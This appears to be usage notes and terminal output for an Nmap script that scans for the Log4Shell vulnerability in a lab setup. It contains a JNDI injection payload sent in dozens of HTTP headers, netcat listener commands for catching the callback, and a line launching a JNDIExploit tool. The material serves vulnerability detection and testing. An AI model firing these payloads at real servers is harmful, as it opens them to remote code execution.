nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2 
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
| log4shell: 
|   Payloads:
|     ${jndi:ldap:/172.17.42.1:389/log4shell}
|   Test Method: HTTP
|   URL Path: /
|   HTTP Method: GET
|   HTTP Headers: 
|     Access-Control-Request-Method: 200 
|     Accept: 200 
|     Access-Control-Request-Headers: 200 
|     Accept-Charset: 200 
|     X-Api-Version: 200 
|     Warning: 200 
|     Pragma: 200 
|     Upgrade-Insecure-Requests: 200 
|     Range,: 400 
|     Hostname: 200 
|     Content-Length: 400 
|     Dnt: 200 
|     Date: 200 
|     Username: 200 
|     Content-Encoding: 200 
|     Content-Type: 200 
|     Forwarded: 200 
|     Max-Forwards: 200 
|     Accept-Encoding: 200 
|     Referer: 200 
|     IP: 200 
|     IPaddress: 200 
|     X-Amz-Date: 200 
|     X-Amz-Target: 200 
|     TE: 200 
|     Content-Disposition: 200 
|     X-Requested-With: 200 
|     upgrade-insecure-requests: 200 
|     Authorization: 200 
|     Cookie: 200 
|     User-Agent: 200 
|     Accept-Language: 200 
|     Proxy-Authorization: 200 
|     Expect: 417 
|     From: 200 
|     Accept-Datetime: 200 
|     X-CSRF-Token: 200 
|     Origin: 200 
|_  Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs

ncat -vkl 1389   # Ncat
nc -lvnp 1389    # Netcat

nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>

Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.

java -jar JNDIExploit.jar

nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>

[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell